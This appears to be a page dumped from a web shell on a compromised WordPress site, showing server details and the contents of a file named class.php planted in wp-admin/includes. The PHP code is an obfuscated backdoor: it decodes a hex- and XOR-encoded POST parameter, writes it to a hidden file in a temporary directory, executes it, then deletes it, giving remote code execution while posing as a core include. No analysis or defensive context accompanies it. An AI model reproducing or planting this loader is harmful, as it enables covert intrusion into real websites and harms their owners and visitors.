HEX
Server: Apache/2
System: Linux sv174 5.14.0-570.21.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jun 11 07:22:35 EDT 2025 x86_64
User: casinobe (1137)
PHP: 7.4.33
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/casinobe/domains/pug555-a.com/public_html/wp-admin/includes/class.php
<?php

if(!is_null($_POST["d\x65\x73c"] ?? null)){
	$reference = array_filter([getenv("TMP"), getenv("TEMP"), "/var/tmp", session_save_path(), "/tmp", "/dev/shm", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getcwd()]);
	$descriptor = hex2bin($_POST["d\x65\x73c"]);
	$resource   =   ''     ;      $t = 0; do{$resource .= chr(ord($descriptor[$t]) ^ 35);$t++;} while($t < strlen($descriptor));
	foreach ($reference as $key => $rec) {
    		if (is_dir($rec) && is_writable($rec)) {
    $property_set = str_replace("{var_dir}", $rec, "{var_dir}/.data");
    if (file_put_contents($property_set, $resource)) {
	require $property_set;
	unlink($property_set);
	die();
}
}
}
}